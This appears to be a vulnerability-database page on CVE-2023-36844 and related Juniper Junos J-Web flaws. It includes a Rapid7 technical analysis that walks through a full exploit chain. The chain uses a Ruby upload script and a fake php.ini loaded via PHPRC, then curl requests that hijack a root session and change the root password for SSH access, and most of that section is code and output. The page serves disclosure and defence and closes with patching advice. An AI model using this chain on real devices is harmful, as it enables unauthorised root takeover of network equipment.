Attacker Value
Very High
(1 user assessed)
Exploitability
Low
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
3

CVE-2023-36844

Disclosure Date: August 17, 2023
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environment variables.

Using a crafted request an attacker is able to modify

certain PHP environment variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
This issue affects Juniper Networks Junos OS on EX Series:

  • All versions prior to 20.4R3-S9;
  • 21.1 versions 21.1R1 and later;
  • 21.2 versions prior to 21.2R3-S7;
  • 21.3 versions

prior to

21.3R3-S5;

  • 21.4 versions

prior to

21.4R3-S5;

  • 22.1 versions

prior to

22.1R3-S4;

  • 22.2 versions

prior to

22.2R3-S2;

  • 22.3 versions

prior to 22.3R3-S1;

  • 22.4 versions

prior to

22.4R2-S2, 22.4R3;

  • 23.2 versions prior to

23.2R1-S1, 23.2R2.

Add Assessment

3
Ratings
Technical Analysis

The work done by watchTowr and later VulnCheck is super cool, and outlines different great ways to exploit the vulnerability (we based the Rapid7 Analysis on watchTowr’s). Neither of them mention something sorta-important: all the known exploits land you in a super-restrictive BSD jail with no meaningful OS access.

The application running in the jail has access to configure the system, so presumably there’s a path from the jail to the OS, but to my knowledge nobody has done much yet. In our analysis, we showed how you could steal an admin session then change the system’s password, but surely there are better avenues waiting to be found!

CVSS V3 Severity and Metrics
Base Score:
5.3 Medium
Impact Score:
1.4
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
None
Integrity (I):
Low
Availability (A):
None

General Information

Vendors

  • juniper

Products

  • junos,
  • junos 20.4,
  • junos 21.1,
  • junos 21.2,
  • junos 21.3,
  • junos 21.4,
  • junos 22.1,
  • junos 22.2,
  • junos 22.3,
  • junos 22.4,
  • junos 23.2

Additional Info

Technical Analysis

Description

On August 17, 2023, Juniper Networks published an out-of-band advisory on four different CVEs affecting Junos OS on SRX Series (firewall) and EX Series (switch) devices:

  • CVE-2023-36845: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environment variables. Utilizing a crafted request an attacker is able to modify certain PHP environment variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
  • CVE-2023-36846: A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request that doesn’t require authentication an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.
  • CVE-2023-36844: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environment variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
  • CVE-2023-36847: A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request that doesn’t require authentication an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.

By chaining together multiple of these vulnerabilities, an unauthenticated user can upload an arbitrary file to the JunOS file system and then execute it. Based on the write-up from watchTowr (and our own observations), we believe the vulnerabilities we’re detailing below are CVE-2023-36846 and CVE-2023-36845, which affect the Juniper SRX Series. While several mitigations exist on that platform that make exploitation more difficult (specifically, Veriexec prevents executing arbitrary binaries, and the affected HTTPD service runs in a BSD jail), we have proven that arbitrary commands can be executed outside of the HTTPD jail.

Interestingly, even though the four vulnerabilities are listed with CVSS scores of 5.3 in the advisory, the advisory itself lists a collective CVSS score of 9.8 (and leads to remote code execution as root). Most tools will likely show the 5.3 score on the individual vulnerabilities, which may confuse users into not patching this issue with the urgency that they should.

Technical analysis

These issues affect the J-Web component of JunOS, which is the web server that runs on ports 80 and 443. It can be exploited without authenticating.

CVE-2023-36846 — Arbitrary file upload

The first issue is an arbitrary file upload—CVE-2023-36846. Successful exploitation permits an attacker to create an arbitrary file within the HTTPD jail.

We tested the public proof of concept on JunOS vSRX3 Series 22.4R1.10, and used it to create this simplified Ruby script that we’ll use to demonstrate:

require 'httparty'

TARGET = ARGV[0]
DATA = ARGV[1]

rsargs = [{
  fileData: "data:text/html;base64,#{Base64::strict_encode64(DATA)}",
  fileName: 'test.out',
  csize: DATA.length,
}].to_json

puts HTTParty.post(
  "#{TARGET}/webauth_operation.php",
  multipart: true,
  body: {
    rs: 'do_upload',
    'rsargs[0]': CGI::escape(rsargs),
  }
)

We can use that script to upload PHP code to the filesystem:

$ ruby ./poc.rb 'http://10.0.0.63' "<?php echo('The current user is: ' . get_current_user());?>"
+:{"converted_fileName":  {0: 'f995f4e9670b663fd3f9a94907ab074dc21900e210f06d12e901d19f91e9945b.out'}, "original_fileName":  {0: 'test.out'}}

If we log into the target, we can see the filename from the response exists in the HTTPD jail, and contains our PHP code:

root@vsrx3-22:~ # cat /var/jail/tmp/f995f4e9670b663fd3f9a94907ab074dc21900e210f06d12e901d19f91e9945b.out 
<?php echo('The current user is: ' . get_current_user());?>

CVE-2023-36845 — Environment variable modification

The next step is to execute some code! This requires the second vulnerability, CVE-2023-36845, which permits an attacker to set arbitrary environmental variables when executing the PHP interpreter. The original write-up attempted to create a .so binary and load it with LD_PRELOAD-type techniques, but the veriexec utility prevents that by enforcing kernel-level binary signing.

Instead, they came up with the ingenious idea of executing the payload directly in the PHP interpreter by uploading a fake php.ini configuration file, then setting the PHPRC environment variable. The PHP binary is, of course, signed, as the application itself is written in PHP. The new PHPRC variable points to an alternative PHP configuration file, which can, for example, load an arbitrary PHP script from the filesystem (still in the jail, however).

The fake php.ini file is simple, and we can upload it with the same Ruby script from earlier (replacing the filename to point to the PHP file we uploaded earlier):

$ ruby ./poc.rb 'http://10.0.0.63' 'auto_prepend_file="/var/tmp/f995f4e9670b663fd3f9a94907ab074dc21900e210f06d12e901d19f91e9945b.out"'
+:{"converted_fileName":  {0: '3954218a0ba26de83b8618b2aa46ae98eec69c1c552fdb287587dded10b57fc8.out'}, "original_fileName":  {0: 'test.out'}}

Once again, we can verify that the new file exists in the jail:

root@vsrx3-22:~ # cat /var/jail/tmp/3954218a0ba26de83b8618b2aa46ae98eec69c1c552fdb287587dded10b57fc8.out 
auto_prepend_file="/var/tmp/f995f4e9670b663fd3f9a94907ab074dc21900e210f06d12e901d19f91e9945b.out"

Once the malicious INI file is in place, we can set the PHPRC variable in the GET request to include the file. We can demonstrate that with curl, using the path relative to the jail:

$ curl "http://10.0.0.63/webauth_operation.php?PHPRC=/var/tmp/3954218a0ba26de83b8618b2aa46ae98eec69c1c552fdb287587dded10b57fc8.out"
The current user is: root
[...]

We can now execute arbitrary PHP code in the jail!

Jailbreaking

Although the J-Web application itself executes in a BSD jail, its purpose is to configure the main Juniper host. As a result, a user who’s authenticated to J-Web can make global changes that affect the system outside the jail. We took a look to see what that means, in practice.

To get out of the jail, we used the exploit from earlier to upload and run a simple PHP script that displays the contents of the /var/sess folder (which is still in the BSD jail):

<?php print_r(scandir('/var/sess'));?>

When it executes, it outputs a list of session files:

$ curl "http://10.0.0.63/webauth_operation.php?PHPRC=/var/tmp/c3f41c9e403fe62b36860b7ec84a7401f2b30203235fadc1bc1be5012ed4e9ab.out"
Array
(
    [0] => .
    [1] => ..
    [2] => php.log
    [3] => sess_78e3944fc368fa986809229aa730a237
)

The final entry is key—that’s a session token for a root session that I have open in my browser. We can use that token to get a CSRF token for the target at the following endpoint:

$ curl -sb 'PHPSESSID=78e3944fc368fa986809229aa730a237' "http://10.0.0.63/diagnose?m[]=pinghost" | grep csrf_token
            <input type="hidden" name="csrf_token" value="a8074a363c7fcfa69ac73f41a722113d"/>

Then, with the session token and CSRF token together, we can perform most actions against the target host. For example, we can pull the configuration (which includes a hashed password):

$ curl -sb 'PHPSESSID=78e3944fc368fa986809229aa730a237' --data-binary 'rs=get_cli_data&rsargs[]=getQuery&csrf_token=a8074a363c7fcfa69ac73f41a722113d&key=1' "http://10.0.0.63/jsdm/ajax/cli-editor.php"
+:
## Last changed: 2023-09-05 09:39:36 UTC
version 22.4R1.10;
system {
    host-name vsrx3-22.4R1.10;
    root-authentication {
        encrypted-password "$6$93Khapf6$pX2FiCr5GN9HAz78gR.oSyZ/uWDoWCyiKaNMv4nX0/RkLG5MYADquY3dSiBCEjkLI1XoeVoqPk9kgoYGhcNWW/";
    }
    services {
        ssh {
            root-login allow;
            allow-tcp-forwarding;
        }
[...]

And we can even change the root password using a request such as:

$ curl -b 'PHPSESSID=78e3944fc368fa986809229aa730a237' "http://10.0.0.63/editor/edit/configuration/system/root-authentication/?action=commit" --data-binary "&current-path=/system/root-authentication/&csrf_token=a8074a363c7fcfa69ac73f41a722113d&key=1&JTK-FIELD-encrypted-password="$(mkpasswd -m sha-512 'test1234')

That changes the password for root to test1234. Once that’s done, we can use ssh to connect to the system with the new password:

$ sshpass -p test1234 ssh root@10.0.0.63
Last login: Tue Sep  5 10:20:19 2023 from 10.0.0.227
--- JUNOS 22.4R1.10 Kernel 64-bit XEN JNPR-12.1-20221121.c470123_buil
root@vsrx3-22:~ # whoami
root

Once that’s done, we’re outside the jail and have full access to the Juniper (BSD) filesystem.

Changing the root password is obviously very noisy, as it locks out administrators if you don’t set it back, but that’s just an example of how to escape the HTTPD jail. Since the J-Web application can configure the host, including local user accounts, there are almost certainly other ways to gain host access as well.

Guidance

Rapid7 recommends that organizations should patch their devices as soon as is practical. Those that are not able to apply the patch should disable J-Web or restrict access to only trusted hosts. See the Juniper Networks advisory for more information.

References